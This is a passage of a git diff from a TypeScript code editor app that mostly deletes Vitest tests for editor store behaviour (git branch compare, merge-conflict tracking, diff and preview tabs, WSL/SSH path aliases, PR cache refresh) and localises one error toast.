-      baseRef: 'refs/remotes/origin/main',
-      baseOid: 'base-old',
-      compareRef: 'feature',
-      headOid: null,
-      mergeBase: null,
-      changedFiles: 0,
-      commitsAhead: 0,
-      status: 'ready' as const
-    }
-
-    store.getState().beginGitBranchCompareRequest('wt-1', 'req-unborn', unbornSummary.baseRef)
-    store.getState().setGitStatus('wt-1', {
-      conflictOperation: 'unknown',
-      entries: [],
-      head: '(initial)',
-      branch: 'refs/heads/feature'
-    })
-    store.getState().setGitBranchCompareResult('wt-1', 'req-unborn', {
-      summary: unbornSummary,
-      entries: []
-    })
-
-    expect(store.getState().gitBranchCompareSummaryByWorktree['wt-1']).toEqual(unbornSummary)
-    expect(store.getState().gitBranchChangesByWorktree['wt-1']).toEqual([])
-  })
-
-  it('preserves a newer branch compare when an unchanged older status refresh returns', () => {
-    const store = createEditorStore()
-    const summary = {
-      baseRef: 'refs/remotes/origin/main',
-      baseOid: 'base-old',
-      compareRef: 'feature',
-      headOid: 'head-new',
-      mergeBase: 'base-old',
-      changedFiles: 1,
-      commitsAhead: 1,
-      status: 'ready' as const
-    }
-
-    store.getState().setGitStatus('wt-1', {
-      conflictOperation: 'unknown',
-      entries: [],
-      head: 'head-old',
-      branch: 'refs/heads/feature'
-    })
-    store.getState().beginGitBranchCompareRequest('wt-1', 'req-newer', summary.baseRef)
-    store.getState().setGitBranchCompareResult('wt-1', 'req-newer', {
-      summary,
-      entries: [{ path: 'src/new.ts', status: 'modified' }]
-    })
-    store.getState().setGitStatus('wt-1', {
-      conflictOperation: 'unknown',
-      entries: [],
-      head: 'head-old',
-      branch: 'refs/heads/feature'
-    })
-
-    expect(store.getState().gitBranchCompareSummaryByWorktree['wt-1']).toEqual(summary)
-    expect(store.getState().gitBranchChangesByWorktree['wt-1']).toEqual([
-      { path: 'src/new.ts', status: 'modified' }
-    ])
-  })
-
-  it('tracks unresolved conflicts when opened through the conflict-safe entry point', () => {
-    const store = createEditorStore()
-
-    store.getState().openConflictFile(
-      'wt-1',
-      '/repo',
-      {
-        path: 'src/conflict.ts',
-        status: 'modified',
-        area: 'unstaged',
-        conflictKind: 'both_modified',
-        conflictStatus: 'unresolved',
-        conflictStatusSource: 'git'
-      },
-      'typescript'
-    )
-    store.getState().setGitStatus('wt-1', {
-      conflictOperation: 'merge',
-      entries: [{ path: 'src/conflict.ts', status: 'modified', area: 'staged' }]
-    })
-
-    expect(store.getState().trackedConflictPathsByWorktree['wt-1']).toEqual({
-      'src/conflict.ts': 'both_modified'
-    })
-    expect(store.getState().gitStatusByWorktree['wt-1']).toEqual([
-      {
-        path: 'src/conflict.ts',
-        status: 'modified',
-        area: 'staged',
-        conflictKind: 'both_modified',
-        conflictStatus: 'resolved_locally',
-        conflictStatusSource: 'session'
-      }
-    ])
-  })
-
-  it('keeps the conflict review active when selecting a conflict from its tree', () => {
-    const store = createEditorStore()
-
-    store
-      .getState()
-      .openConflictReview(
-        'wt-1',
-        '/repo',
-        [{ path: 'src/conflict.ts', conflictKind: 'both_modified' }],
-        'live-summary'
-      )
-    store.getState().openConflictReviewFile(
-      'wt-1::conflict-review',
-      'wt-1',
-      '/repo',
-      {
-        path: 'src/conflict.ts',
-        status: 'modified',
-        area: 'unstaged',
-        conflictKind: 'both_modified',
-        conflictStatus: 'unresolved',
-        conflictStatusSource: 'git'
-      },
-      'typescript'
-    )
-
-    const reviewFile = store
-      .getState()
-      .openFiles.find((file) => file.id === 'wt-1::conflict-review')
-
-    expect(store.getState().activeFileId).toBe('wt-1::conflict-review')
-    expect(reviewFile?.conflictReview?.selectedFileId).toBe('/repo/src/conflict.ts')
-    expect(store.getState().openFiles).toContainEqual(
-      expect.objectContaining({
-        id: '/repo/src/conflict.ts',
-        mode: 'edit',
-        conflict: expect.objectContaining({ conflictStatus: 'unresolved' })
-      })
-    )
-  })
-
   describe('selecting a conflict whose file is already open', () => {
     const conflictEntry = {
       path: 'src/conflict.ts',
@@ -510,40 +164,5 @@ describe('createEditorSlice conflict status reconciliation', () => {
         )?.conflictReview?.selectedFileId
       ).toBe(fileId)
     })
-
-    it('names a server file it opens itself so a later open reuses it', () => {
-      const { store, worktreeId } = storeFor(true)
-      selectConflict(store, worktreeId)
-      const fileId = openConflictFile(store, worktreeId)
-
-      expect(copiesOf(store)).toEqual([[fileId, 'env-1']])
-    })
-  })
-
-  it('clears tracked conflict continuity on abort-like transitions', () => {
-    const store = createEditorStore()
-
-    store.getState().trackConflictPath('wt-1', 'src/conflict.ts', 'both_modified')
-    store.getState().setGitStatus('wt-1', {
-      conflictOperation: 'merge',
-      entries: [
-        {
-          path: 'src/conflict.ts',
-          status: 'modified',
-          area: 'unstaged',
-          conflictKind: 'both_modified',
-          conflictStatus: 'unresolved'
-        }
-      ]
-    })
-    store.getState().setGitStatus('wt-1', {
-      conflictOperation: 'unknown',
-      entries: [{ path: 'src/conflict.ts', status: 'modified', area: 'unstaged' }]
-    })
-
-    expect(store.getState().gitStatusByWorktree['wt-1']).toEqual([
-      { path: 'src/conflict.ts', status: 'modified', area: 'unstaged' }
-    ])
-    expect(store.getState().trackedConflictPathsByWorktree['wt-1']).toEqual({})
   })
 })
diff --git a/src/renderer/src/store/slices/editor/git/editor-open-diff.test.ts b/src/renderer/src/store/slices/editor/git/editor-open-diff.test.ts
deleted file mode 100644
index d206a4a7059..00000000000
--- a/src/renderer/src/store/slices/editor/git/editor-open-diff.test.ts
+++ /dev/null
@@ -1,500 +0,0 @@
-import { describe, expect, it, vi } from 'vitest'
-import { createEditorStore, createEditorTabsStore } from '../editor-slice-test-harness'
-
-import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../../shared/layout-owner-switch'
-import { makeLayout, makeTab } from '../../../terminals/terminal-tab.test-fixture'
-import { drawTabsFromMain } from '../../tabs/tabs-drawn-from-main.test-fixture'
-import { withLayoutOwnerTabProps } from '@/components/tab-bar/tab-bar-layout-owner-props'
-
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeRpcClientWithLayoutApply(await importOriginal())
-)
-vi.mock('@/runtime/workspace-layout/frames/runtime-layout-client', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeLayoutClientWithTestFrames(await importOriginal())
-)
-
-const { toastErrorMock } = vi.hoisted(() => ({
-  toastErrorMock: vi.fn()
-}))
-
-vi.mock('sonner', () => ({
-  toast: { error: toastErrorMock }
-}))
-
-const { notifyHostOfMirroredEditorCloseMock } = vi.hoisted(() => ({
-  notifyHostOfMirroredEditorCloseMock: vi.fn()
-}))
-vi.mock('@/runtime/web-session-tabs-sync/closing/close-mirrored-editor-tab', () => ({
-  notifyHostOfMirroredEditorClose: (...args: unknown[]) =>
-    notifyHostOfMirroredEditorCloseMock(...args)
-}))
-
-describe('createEditorSlice openDiff', () => {
-  it('keeps local and runtime-owned diffs in separate tabs for the same path', () => {
-    const store = createEditorStore()
-
-    store.getState().openDiff('wt-1', '/repo/file.ts', 'file.ts', 'typescript', false)
-    store.getState().openDiff('wt-1', '/repo/file.ts', 'file.ts', 'typescript', false, {
-      runtimeEnvironmentId: 'env-1'
-    })
-
-    expect(store.getState().openFiles).toEqual([
-      expect.objectContaining({
-        id: 'wt-1::diff::unstaged::file.ts',
-        runtimeEnvironmentId: null
-      }),
-      expect.objectContaining({
-        id: 'editor-diff:wt-1:env-1:unstaged:file.ts',
-        runtimeEnvironmentId: 'env-1'
-      })
-    ])
-  })
-
-  it('repairs an existing diff tab entry to the correct mode and staged state', () => {
-    const store = createEditorStore()
-
-    store.setState({
-      openFiles: [
-        {
-          id: 'wt-1::diff::staged::file.ts',
-          filePath: '/repo/file.ts',
-          relativePath: 'file.ts',
-          worktreeId: 'wt-1',
-          language: 'typescript',
-          isDirty: false,
-          mode: 'edit'
-        }
-      ],
-      activeFileId: null,
-      activeFileIdByWorktree: {},
-      activeTabTypeByWorktree: {},
-      activeTabType: 'terminal'
-    })
-
-    store.getState().openDiff('wt-1', '/repo/file.ts', 'file.ts', 'typescript', true)
-
-    expect(store.getState().openFiles).toEqual([
-      expect.objectContaining({
-        id: 'wt-1::diff::staged::file.ts',
-        mode: 'diff',
-        diffSource: 'staged'
-      })
-    ])
-    expect(store.getState().activeFileId).toBe('wt-1::diff::staged::file.ts')
-  })
-
-  it('reuses a restored local WSL alias without folding the Linux path tail', () => {
-    vi.stubGlobal('navigator', { userAgent: 'Windows' })
-    const store = createEditorStore()
-    const restoredPath = '//wsl.localhost/Ubuntu/home/Alice/repo/file.ts'
-    store.setState({
-      openFiles: [
-        {
-          id: restoredPath,
-          filePath: restoredPath,
-          relativePath: 'file.ts',
-          worktreeId: 'wt-1',
-          runtimeEnvironmentId: null,
-          language: 'typescript',
-          isDirty: false,
-          mode: 'edit'
-        }
-      ]
-    })
-
-    expect(
-      store.getState().openFile(
-        {
-          filePath: '\\\\wsl.localhost\\ubuntu\\home\\Alice\\repo\\file.ts',
-          relativePath: 'file.ts',
-          worktreeId: 'wt-1',
-          runtimeEnvironmentId: null,
-          language: 'typescript',
-          mode: 'edit'
-        },
-        { suppressActiveRuntimeFallback: true }
-      )
-    ).toBe(restoredPath)
-    expect(store.getState().openFiles).toHaveLength(1)
-
-    store.getState().openFile(
-      {
-        filePath: '\\\\wsl.localhost\\Ubuntu\\home\\alice\\repo\\file.ts',
-        relativePath: 'file.ts',
-        worktreeId: 'wt-1',
-        runtimeEnvironmentId: null,
-        language: 'typescript',
-        mode: 'edit'
-      },
-      { suppressActiveRuntimeFallback: true }
-    )
-    expect(store.getState().openFiles).toHaveLength(2)
-    vi.unstubAllGlobals()
-  })
-
-  it('keeps local WSL-looking aliases distinct on POSIX clients', () => {
-    vi.stubGlobal('navigator', { userAgent: 'Linux' })
-    const store = createEditorStore()
-    store.setState({
-      openFiles: [
-        {
-          id: 'forward',
-          filePath: '//wsl.localhost/Ubuntu/repo/file.ts',
-          relativePath: 'file.ts',
-          worktreeId: 'wt-1',
-          runtimeEnvironmentId: null,
-          language: 'typescript',
-          isDirty: false,
-          mode: 'edit'
-        }
-      ]
-    })
-
-    store.getState().openFile(
-      {
-        filePath: '\\\\wsl.localhost\\Ubuntu\\repo\\file.ts',
-        relativePath: 'file.ts',
-        worktreeId: 'wt-1',
-        runtimeEnvironmentId: null,
-        language: 'typescript',
-        mode: 'edit'
-      },
-      { suppressActiveRuntimeFallback: true }
-    )
-
-    expect(store.getState().openFiles).toHaveLength(2)
-    vi.unstubAllGlobals()
-  })
-
-  it('does not reuse WSL aliases for SSH-owned tabs', () => {
-    const store = createEditorStore()
-    store.setState({
-      repos: [{ id: 'repo-1', path: '/repo', connectionId: 'ssh-1' }],
-      worktreesByRepo: {
-        'repo-1': [{ id: 'wt-1', repoId: 'repo-1', path: '/repo', hostId: 'ssh:ssh-1' }]
-      },
-      sshConnectionStates: new Map([
-        [
-          'ssh-1',
-          {
-            targetId: 'ssh-1',
-            status: 'connected',
-            error: null,
-            reconnectAttempt: 0,
-            connectionGeneration: 1
-          }
-        ]
-      ]),
-      openFiles: [
-        {
-          id: 'ssh-forward',
-          filePath: '//wsl.localhost/Ubuntu/repo/file.ts',
-          relativePath: 'file.ts',
-          worktreeId: 'wt-1',
-          runtimeEnvironmentId: null,
-          externalSshTargetId: 'ssh-1',
-          language: 'typescript',
-          isDirty: false,
-          mode: 'edit'
-        }
-      ]
-    } as never)
-
-    store.getState().openFile({
-      filePath: '\\\\wsl.localhost\\Ubuntu\\repo\\file.ts',
-      relativePath: 'file.ts',
-      worktreeId: 'wt-1',
-      runtimeEnvironmentId: null,
-      externalSshTargetId: 'ssh-1',
-      language: 'typescript',
-      mode: 'edit'
-    })
-
-    expect(store.getState().openFiles).toHaveLength(2)
-  })
-
-  it('opens the visible diff tab in the requested split group', async () => {
-    const store = createEditorTabsStore()
-    // A terminal with its row, so main holds it and its group.
-    store.setState({
-      tabsByWorktree: { 'wt-1': [makeTab({ id: 'terminal-1', worktreeId: 'wt-1' })] },
-      terminalLayoutsByTabId: { 'terminal-1': makeLayout() }
-    })
-    store.getState().createUnifiedTab('wt-1', 'terminal', { id: 'terminal-1' })
-    const main = await drawTabsFromMain(store)
-    const sourceTab = store.getState().unifiedTabsByWorktree['wt-1']![0]!
-    const targetGroupId = store.getState().createEmptySplitGroup('wt-1', sourceTab.groupId, 'right')
-    if (!targetGroupId) {
-      throw new Error('expected split group')
-    }
-
-    store
-      .getState()
-      .openDiff('wt-1', '/repo/file.ts', 'file.ts', 'typescript', false, { targetGroupId })
-    await main.settle()
-
-    const diffTab = store
-      .getState()
-      .unifiedTabsByWorktree['wt-1']?.find((tab) => tab.contentType === 'diff')
-
-    expect(diffTab?.groupId).toBe(targetGroupId)
-    expect(diffTab?.entityId).toBe('wt-1::diff::unstaged::file.ts')
-    expect(store.getState().activeGroupIdByWorktree['wt-1']).toBe(targetGroupId)
-  })
-
-  it('keeps a diff tab selectable after opening its target file tab', async () => {
-    const store = createEditorTabsStore()
-    const main = await drawTabsFromMain(store)
-
-    store.getState().openDiff('wt-1', '/repo/file.ts', 'file.ts', 'typescript', false)
-    await main.settle()
-    const diffFileId = 'wt-1::diff::unstaged::file.ts'
-    const diffTab = store
-      .getState()
-      .unifiedTabsByWorktree['wt-1']?.find((tab) => tab.contentType === 'diff')
-    if (!diffTab) {
-      throw new Error('expected diff tab')
-    }
-
-    store.getState().openFile({
-      filePath: '/repo/file.ts',
-      relativePath: 'file.ts',
-      worktreeId: 'wt-1',
-      language: 'typescript',
-      mode: 'edit'
-    })
-    await main.settle()
-
-    const stateAfterOpen = store.getState()
-    const editFile = stateAfterOpen.openFiles.find((file) => file.mode === 'edit')
-    expect(stateAfterOpen.openFiles.find((file) => file.id === diffFileId)).toEqual(
-      expect.objectContaining({ mode: 'diff' })
-    )
-    expect(editFile).toEqual(expect.objectContaining({ id: '/repo/file.ts', mode: 'edit' }))
-    expect(
-      stateAfterOpen.unifiedTabsByWorktree['wt-1']?.find((tab) => tab.contentType === 'editor')
-        ?.entityId
-    ).toBe('/repo/file.ts')
-
-    store.getState().activateTab(diffTab.id)
-    await main.settle()
-    store.getState().setActiveFile(diffFileId)
-
-    const stateAfterReselect = store.getState()
-    expect(stateAfterReselect.groupsByWorktree['wt-1']?.[0]?.activeTabId).toBe(diffTab.id)
-    expect(stateAfterReselect.activeFileId).toBe(diffFileId)
-    expect(stateAfterReselect.openFiles.find((file) => file.id === diffFileId)?.mode).toBe('diff')
-  })
-
-  it('keeps an existing preview replaceable when it is opened as preview again', async () => {
-    const store = createEditorTabsStore()
-    const main = await drawTabsFromMain(store)
-
-    const openPreviewFile = (): void => {
-      store.getState().openFile(
-        {
-          filePath: '/repo/a.ts',
-          relativePath: 'a.ts',
-          worktreeId: 'wt-1',
-          language: 'typescript',
-          mode: 'edit'
-        },
-        { preview: true }
-      )
-    }
-
-    openPreviewFile()
-    await main.settle()
-    openPreviewFile()
-    await main.settle()
-
-    expect(store.getState().unifiedTabsByWorktree['wt-1']).toEqual([
-      expect.objectContaining({
-        entityId: '/repo/a.ts',
-        isPreview: true
-      })
-    ])
-
-    store.getState().openDiff('wt-1', '/repo/b.ts', 'b.ts', 'typescript', false, { preview: true })
-    await main.settle()
-
-    expect(store.getState().openFiles).toEqual([
-      expect.objectContaining({
-        id: 'wt-1::diff::unstaged::b.ts',
-        isPreview: true
-      })
-    ])
-    expect(store.getState().unifiedTabsByWorktree['wt-1']).toEqual([
-      expect.objectContaining({
-        entityId: 'wt-1::diff::unstaged::b.ts',
-        isPreview: true
-      })
-    ])
-  })
-
-  it('does not orphan another split group when replacing a shared preview diff', async () => {
-    const store = createEditorTabsStore()
-    const main = await drawTabsFromMain(store)
-
-    store.getState().openDiff('wt-1', '/repo/a.ts', 'a.ts', 'typescript', false, { preview: true })
-    await main.settle()
-    const firstGroupId = store.getState().groupsByWorktree['wt-1'][0].id
-    const secondGroupId = store.getState().createEmptySplitGroup('wt-1', firstGroupId, 'right')
-
-    expect(secondGroupId).toBeTruthy()
-
-    store.getState().openDiff('wt-1', '/repo/a.ts', 'a.ts', 'typescript', false, {
-      preview: true,
-      targetGroupId: secondGroupId ?? undefined
-    })
-    await main.settle()
-    store.getState().openDiff('wt-1', '/repo/b.ts', 'b.ts', 'typescript', false, {
-      preview: true,
-      targetGroupId: secondGroupId ?? undefined
-    })
-    await main.settle()
-
-    const state = store.getState()
-    expect(state.openFiles).toEqual([
-      expect.objectContaining({
-        id: 'wt-1::diff::unstaged::a.ts',
-        isPreview: true
-      }),
-      expect.objectContaining({
-        id: 'wt-1::diff::unstaged::b.ts',
-        isPreview: true
-      })
-    ])
-    expect(state.unifiedTabsByWorktree['wt-1']).toEqual(
-      expect.arrayContaining([
-        expect.objectContaining({
-          groupId: firstGroupId,
-          entityId: 'wt-1::diff::unstaged::a.ts',
-          isPreview: true
-        }),
-        expect.objectContaining({
-          groupId: secondGroupId,
-          entityId: 'wt-1::diff::unstaged::b.ts',
-          isPreview: true
-        })
-      ])
-    )
-  })
-
-  it('opens a new preview diff beside a pinned file tab', async () => {
-    const store = createEditorTabsStore()
-    const main = await drawTabsFromMain(store)
-
-    store.getState().openFile(
-      {
-        filePath: '/repo/a.ts',
-        relativePath: 'a.ts',
-        worktreeId: 'wt-1',
-        language: 'typescript',
-        mode: 'edit'
-      },
-      { preview: true }
-    )
-    await main.settle()
-    // A layout-owner build pins through main first, as the tab bar does.
-    const tabId = store.getState().unifiedTabsByWorktree['wt-1']![0]!.id
-    const pin = (): void => store.getState().pinFile('/repo/a.ts')
-    if (ORCA_LAYOUT_OWNER_IS_MAIN) {
-      withLayoutOwnerTabProps(
-        {
-          togglePinned: pin,
-          makePreviewFilePermanent: (fileId, tab) =>
-            store.getState().makePreviewFilePermanent(fileId, tab)
-        },
-        () => 'wt-1'
-      ).togglePinned({
-        unifiedTabId: tabId,
-        isPinned: false,
-        type: 'editor',
-        data: { id: '/repo/a.ts' }
-      })
-    } else {
-      pin()
-    }
-    await main.settle()
-
-    store.getState().openDiff('wt-1', '/repo/b.ts', 'b.ts', 'typescript', false, { preview: true })
-    await main.settle()
-
-    expect(store.getState().openFiles).toEqual([
-      expect.objectContaining({
-        id: '/repo/a.ts',
-        isPreview: undefined
-      }),
-      expect.objectContaining({
-        id: 'wt-1::diff::unstaged::b.ts',
-        isPreview: true
-      })
-    ])
-    expect(store.getState().unifiedTabsByWorktree['wt-1']).toEqual([
-      expect.objectContaining({
-        entityId: '/repo/a.ts',
-        isPinned: true
-      }),
-      expect.objectContaining({
-        entityId: 'wt-1::diff::unstaged::b.ts',
-        isPreview: true
-      })
-    ])
-    // Not a preview: a switch-on build omits the flag rather than writing false.
-    expect(store.getState().unifiedTabsByWorktree['wt-1']?.[0]?.isPreview).toBe(
-      ORCA_LAYOUT_OWNER_IS_MAIN ? undefined : false
-    )
-  })
-
-  it('does not replace a dirty file that was opened as a preview', async () => {
-    const store = createEditorTabsStore()
-    const main = await drawTabsFromMain(store)
-
-    store.getState().openFile(
-      {
-        filePath: '/repo/a.ts',
-        relativePath: 'a.ts',
-        worktreeId: 'wt-1',
-        language: 'typescript',
-        mode: 'edit'
-      },
-      { preview: true }
-    )
-    await main.settle()
-    store.getState().markFileDirty('/repo/a.ts', true)
-    await main.settle()
-
-    store.getState().openDiff('wt-1', '/repo/b.ts', 'b.ts', 'typescript', false, { preview: true })
-    await main.settle()
-
-    expect(store.getState().openFiles).toEqual([
-      expect.objectContaining({
-        id: '/repo/a.ts',
-        isDirty: true,
-        isPreview: undefined
-      }),
-      expect.objectContaining({
-        id: 'wt-1::diff::unstaged::b.ts',
-        isPreview: true
-      })
-    ])
-    expect(store.getState().unifiedTabsByWorktree['wt-1']).toEqual([
-      expect.objectContaining({
-        entityId: '/repo/a.ts'
-      }),
-      expect.objectContaining({
-        entityId: 'wt-1::diff::unstaged::b.ts',
-        isPreview: true
-      })
-    ])
-    // Not a preview: a switch-on build omits the flag rather than writing false.
-    expect(store.getState().unifiedTabsByWorktree['wt-1']?.[0]?.isPreview).toBe(
-      ORCA_LAYOUT_OWNER_IS_MAIN ? undefined : false
-    )
-  })
-})
diff --git a/src/renderer/src/store/slices/editor/git/editor-remote-branch-actions.test.ts b/src/renderer/src/store/slices/editor/git/editor-remote-branch-actions.test.ts
index bbc0a575acf..0d0f32796d3 100644
--- a/src/renderer/src/store/slices/editor/git/editor-remote-branch-actions.test.ts
+++ b/src/renderer/src/store/slices/editor/git/editor-remote-branch-actions.test.ts
@@ -60,39 +60,6 @@ describe('createEditorSlice remote branch actions', () => {
     }
   })
 
-  it('refuses a git operation whose worktree no row places, instead of using the focused server', async () => {
-    const store = createEditorStore()
-    store.setState({ settings: { activeRuntimeEnvironmentId: 'focused-runtime' } as never })
-
-    await expect(store.getState().pushBranch('wt-unknown', '/elsewhere')).rejects.toThrow(
-      'The workspace host is unresolved'
-    )
-
-    expect(gitPushMock).not.toHaveBeenCalled()
-    expect(store.getState().isRemoteOperationActive).toBe(false)
-  })
-
-  it('preserves prior upstream status when fetch fails', async () => {
-    // Transient upstream failures retain known ahead/behind counts instead of flashing unknown/no-upstream state.
-    const store = createEditorStore()
-    store.getState().setUpstreamStatus('wt-1', {
-      hasUpstream: true,
-      upstreamName: 'origin/main',
-      ahead: 2,
-      behind: 1
-    })
-    gitUpstreamStatusMock.mockRejectedValueOnce(new Error('transient failure'))
-
-    await store.getState().fetchUpstreamStatus('wt-1', '/repo')
-
-    expect(store.getState().remoteStatusesByWorktree['wt-1']).toEqual({
-      hasUpstream: true,
-      upstreamName: 'origin/main',
-      ahead: 2,
-      behind: 1
-    })
-  })
-
   it('keeps isRemoteOperationActive true while any remote op is in flight', async () => {
     // Refcount remote operations across worktrees; push A settling must not reenable still-running pull B.
     const store = createEditorStore()
diff --git a/src/renderer/src/store/slices/editor/git/git-operation-target.ts b/src/renderer/src/store/slices/editor/git/git-operation-target.ts
index bd1ecfc6616..a63480da86f 100644
--- a/src/renderer/src/store/slices/editor/git/git-operation-target.ts
+++ b/src/renderer/src/store/slices/editor/git/git-operation-target.ts
@@ -5,6 +5,7 @@ import type { AppState } from '../../../types'
 import { runtimeTargetForWorkspaceOwner } from '@/lib/workspace/ownership/resolve-owner'
 import type { RuntimeClientTarget } from '../../../../../../shared/runtime-client-target'
 import type { GitRuntimeOperationOptions } from '../types/git-runtime-operation'
+import { translate } from '@/i18n/i18n'
 
 export const UNRESOLVED_GIT_HOST_ERROR =
   'The workspace host is unresolved. Refresh the workspace and retry.'
@@ -28,7 +29,12 @@ export function resolveGitOperationTarget(
 ): RuntimeClientTarget {
   const target = tryResolveGitOperationTarget(state, worktreeId, options)
   if (!target) {
-    toast.error(UNRESOLVED_GIT_HOST_ERROR)
+    toast.error(
+      translate(
+        'auto.store.slices.editor.gitOperationTarget.unresolvedHost',
+        'The workspace host is unresolved. Refresh the workspace and retry.'
+      )
+    )
     throw new Error(UNRESOLVED_GIT_HOST_ERROR)
   }
   return target
diff --git a/src/renderer/src/store/slices/editor/git/github-post-operation-owner.test.ts b/src/renderer/src/store/slices/editor/git/github-post-operation-owner.test.ts
index b8488a64d11..8409d853fd2 100644
--- a/src/renderer/src/store/slices/editor/git/github-post-operation-owner.test.ts
+++ b/src/renderer/src/store/slices/editor/git/github-post-operation-owner.test.ts
@@ -1,16 +1,10 @@
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import type { Repo } from '../../../../../../shared/repo-types'
 import type { RuntimeClientTarget } from '../../../../../../shared/runtime-client-target'
-import { getRepoExecutionHostId } from '../../../../../../shared/execution-host'
+import '../../../../../../shared/execution-host'
 import { createGitRemotePushPull } from './git-remote-push-pull'
-import { createGitRemoteSync } from './git-remote-sync'
-import {
-  fetchRuntimeGit,
-  pullRuntimeGit,
-  pushRuntimeGit,
-  fastForwardRuntimeGit,
-  rebaseRuntimeGitFromBase
-} from '../../../../runtime/source-control/git/runtime-git-sync-client'
+import './git-remote-sync'
+import { pushRuntimeGit } from '../../../../runtime/source-control/git/runtime-git-sync-client'
 import {
   createTestStore,
   makePR,
@@ -41,7 +35,6 @@ const repo: Repo = {
   addedAt: 1
 }
 const branch = 'feature/review'
-const operations = ['push', 'pull', 'fast-forward', 'sync', 'rebase'] as const
 
 describe('post-operation review refresh ownership', () => {
   beforeEach(() => {
@@ -124,122 +117,4 @@ describe('post-operation review refresh ownership', () => {
       expect(store.getState().prCache[twinKey]).toBe(twinEntry)
     }
   )
-
-  it.each(
-    operations.flatMap((operation) => [
-      { operation, selectTwin: true },
-      ...(operation === 'push' ? [{ operation, selectTwin: false }] : [])
-    ])
-  )(
-    '$operation refreshes its owner after switching (same-ID twin: $selectTwin)',
-    async ({ operation, selectTwin }) => {
-      // A paired SSH row from an older listing names only its physical host, not its server owner.
-      for (const host of ['local', 'ssh', 'runtime', 'paired-ssh'] as const) {
-        const store = createTestStore()
-        const paired = host === 'paired-ssh'
-        const owner: Repo = {
-          ...repo,
-          ...(host === 'ssh' || paired ? { connectionId: 'builder' } : {}),
-          ...(host === 'runtime' || paired ? { executionHostId: 'runtime:server' } : {})
-        }
-        const hostId = getRepoExecutionHostId(owner)
-        const target: RuntimeClientTarget =
-          host === 'runtime' || paired
-            ? { kind: 'environment', environmentId: 'server' }
-            : { kind: 'local' }
-        const twinHost = host === 'local' ? 'runtime:other' : 'local'
-        const twin: Repo = { ...repo, executionHostId: twinHost }
-        const worktree = makePRRefreshWorktree({
-          id: 'same-id',
-          repoId: repo.id,
-          branch,
-          hostId: paired ? 'ssh:builder' : hostId
-        })
-        const ownerKey = `${host === 'local' ? '' : `${hostId}::`}${repo.id}::${branch}`
-        const twinKey = `${twinHost === 'local' ? '' : `${twinHost}::`}${repo.id}::${branch}`
-        const oldEntry = { data: makePR({ number: 11 }), fetchedAt: Date.now() }
-        store.setState({
-          ...createGitRemotePushPull(store.setState, store.getState),
-          ...createGitRemoteSync(store.setState, store.getState),
-          beginRemoteOperation: vi.fn(() => vi.fn()),
-          fetchUpstreamStatus: vi.fn().mockResolvedValue(undefined),
-          repos: [twin, owner],
-          worktreesByRepo: { [repo.id]: [{ ...worktree, hostId: twinHost }, worktree] },
-          activeWorktreeId: worktree.id,
-          activeWorkspaceExecutionHostId: paired ? 'ssh:builder' : hostId,
-          sshConnectionStates: new Map([
-            [
-              'builder',
-              { targetId: 'builder', status: 'connected', error: null, reconnectAttempt: 0 }
-            ]
-          ]),
-          prCache: { [ownerKey]: oldEntry, [twinKey]: oldEntry }
-        })
-        const pending = Promise.withResolvers<void>()
-        const transport =
-          operation === 'push'
-            ? pushRuntimeGit
-            : operation === 'pull'
-              ? pullRuntimeGit
-              : operation === 'fast-forward'
-                ? fastForwardRuntimeGit
-                : operation === 'sync'
-                  ? fetchRuntimeGit
-                  : rebaseRuntimeGitFromBase
-        vi.mocked(transport).mockReturnValueOnce(pending.promise)
-        const options = { runtimeTarget: target }
-        const state = store.getState()
-        const task =
-          operation === 'push'
-            ? state.pushBranch(
-                worktree.id,
-                worktree.path,
-                false,
-                owner.connectionId ?? undefined,
-                undefined,
-                options
-              )
-            : operation === 'pull'
-              ? state.pullBranch(
-                  worktree.id,
-                  worktree.path,
-                  owner.connectionId ?? undefined,
-                  undefined,
-                  options
-                )
-              : operation === 'fast-forward'
-                ? state.fastForwardBranch(
-                    worktree.id,
-                    worktree.path,
-                    owner.connectionId ?? undefined,
-                    undefined,
-                    options
-                  )
-                : operation === 'sync'
-                  ? state.syncBranch(
-                      worktree.id,
-                      worktree.path,
-                      owner.connectionId ?? undefined,
-                      undefined,
-                      options
-                    )
-                  : state.rebaseFromBase(
-                      worktree.id,
-                      worktree.path,
-                      'main',
-                      owner.connectionId ?? undefined,
-                      undefined,
-                      options
-                    )
-        store.setState({
-          activeWorktreeId: selectTwin ? worktree.id : 'unrelated-workspace',
-          activeWorkspaceExecutionHostId: twinHost
-        })
-        pending.resolve()
-        await task
-        await vi.waitFor(() => expect(store.getState().prCache[ownerKey]?.data?.number).toBe(22))
-        expect(store.getState().prCache[twinKey]).toBe(oldEntry)
-      }
-    }
-  )
 })
diff --git a/src/renderer/src/store/slices/editor/hydration/editor-session-duplicate-restore.test.ts b/src/renderer/src/store/slices/editor/hydration/editor-session-duplicate-restore.test.ts
deleted file mode 100644
index 3246e557648..00000000000
--- a/src/renderer/src/store/slices/editor/hydration/editor-session-duplicate-restore.test.ts
+++ /dev/null
@@ -1,374 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
-import type { WorkspaceSessionState } from '../../../../../../shared/workspace-session/workspace-session-state-types'
-import { folderWorkspaceKey } from '../../../../../../shared/workspace-scope'
-import { buildWorkspaceSessionPayload } from '../../../../lib/workspace/persistence/workspace-session'
-import { createStoreSessionMockApi } from '../../../testing/app-store-session-api.test-fixture'
-import { createTestStore } from '../../../testing/app-store-test-fixture'
-import { makeWorktree } from '../../worktrees/worktree.test-fixture'
-import { drawTabsFromMain } from '../../tabs/tabs-drawn-from-main.test-fixture'
-
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeRpcClientWithLayoutApply(await importOriginal())
-)
-vi.mock('@/runtime/workspace-layout/frames/runtime-layout-client', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeLayoutClientWithTestFrames(await importOriginal())
-)
